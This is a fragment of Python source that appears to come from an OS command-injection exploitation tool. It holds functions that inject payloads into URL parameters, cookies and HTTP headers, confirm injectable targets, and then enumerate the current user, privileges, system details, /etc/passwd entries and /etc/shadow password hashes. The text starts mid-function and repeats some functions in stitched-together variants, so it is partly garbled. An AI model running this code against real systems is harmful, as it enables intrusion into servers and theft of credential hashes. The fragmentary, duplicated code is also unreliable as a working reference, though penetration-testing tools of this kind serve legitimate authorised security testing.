response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print settings.print_warning_msg(warn_msg)
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if settings.TARGET_OS == "win":
if alter_shell:
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_os = cb_injector.injection_results(response, TAG, cmd)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if settings.USE_BACKTICKS:
cmd = cmd.replace("echo $(","").replace(")","")
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = cb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_arch = cb_injector.injection_results(response, TAG, cmd)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_arch:
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print settings.print_warning_msg(warn_msg)
def system_information(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if settings.TARGET_OS == "win":
if alter_shell:
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_os = cb_injector.injection_results(response, TAG, cmd)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = cb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_arch = cb_injector.injection_results(response, TAG, cmd)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if target_arch:
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print settings.print_warning_msg(warn_msg)
def system_passwords(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_passes = eb_injector.injection_results(response, TAG, cmd)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if sys_passes == "":
sys_passes = " "
if sys_passes:
info_msg = "Fetching '" + settings.SHADOW_FILE
info_msg += "' to enumerate users password hashes... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_passes))
success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[
1] and fields[1] != "":
print((" (" + str(count) + ") " +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + " : " + Style.BRIGHT +
fields[1] + Style.RESET_ALL))
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
fields[0] + " : " +
fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1:
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
sys.stdout.write(
settings.print_warning_msg(warn_msg) + "\n")
print((fields[0]))
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
print(("\n" + settings.print_warning_msg(warn_msg)))
def system_users(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
else:
settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
else:
settings.SYS_USERS = settings.EVAL_SYS_USERS
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_users = eb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Windows users enumeration.
if settings.TARGET_OS == "win":
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p)
for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " via 'net users' command.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
user] + ")[22..($(net user " + sys_users_list[
user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'", "\\'")
else:
cmd = "\"" + cmd + "\""
response = eb_injector.injection(
separator, TAG, cmd, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename)
check_privs = eb_injector.injection_results(
response, TAG, cmd)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
print(
(" (" + str(count) + ") '" + Style.BRIGHT +
sys_users_list[user] + Style.RESET_ALL + "'" +
Style.BRIGHT + is_privileged + Style.RESET_ALL + "."))
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
sys_users_list[user] + is_privileged +
".\n")
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print(("\n" + settings.print_warning_msg(warn_msg)
)) # Unix-like users enumeration.
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
else:
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write("[ " + Fore.RED + "FAILED" +
Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
print(("\n" + settings.print_warning_msg(warn_msg)))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + (
'ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'.\n"
sys.stdout.write(
"\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
).sub("", settings.SUCCESS_SIGN) +
success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(
fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
print((" (" + str(count) + ") '" +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + "'" + Style.BRIGHT +
is_privileged + Style.RESET_ALL +
"(uid=" + fields[1] +
"). Home directory is in '" +
Style.BRIGHT + fields[2] +
Style.RESET_ALL + "'."))
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) +
") '" + fields[0] + "'" +
is_privileged_nh + "(uid=" +
fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print(
(settings.print_warning_msg(warn_msg)))
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print(("\n" + settings.print_warning_msg(warn_msg)))
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
def current_user(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
else:
settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = eb_injector.injection_results(response, TAG, cmd)
cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
if cu_account:
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
if not alter_shell:
cmd = "\"" + cmd + "\""
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account + "\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print((settings.print_warning_msg(warn_msg)))
def cb_injection_handler(url, timesec, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "results-based OS command injection"
technique = "classic command injection technique"
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if whitespace == " ":
whitespace = urllib.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
settings.CLASSIC_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
sys.exit(0)
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(
separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print settings.print_payload(payload)
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = cb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = cb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = cb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(
response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += ('', ' (JSON)')[
settings.IS_JSON] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", re.sub("%2B", "+",
payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
#print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
if not menu.file_access_options(
) and not menu.options.os_cmd and new_line:
print ""
# Check for any system file access options.
